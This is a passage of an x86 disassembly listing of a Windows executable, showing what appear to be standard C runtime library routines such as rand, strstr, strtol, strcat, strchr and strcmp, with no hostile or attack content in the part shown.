sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 269021Ch test eax, eax jnz short loc_41C7D2 nop call near ptr 26908B8h jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 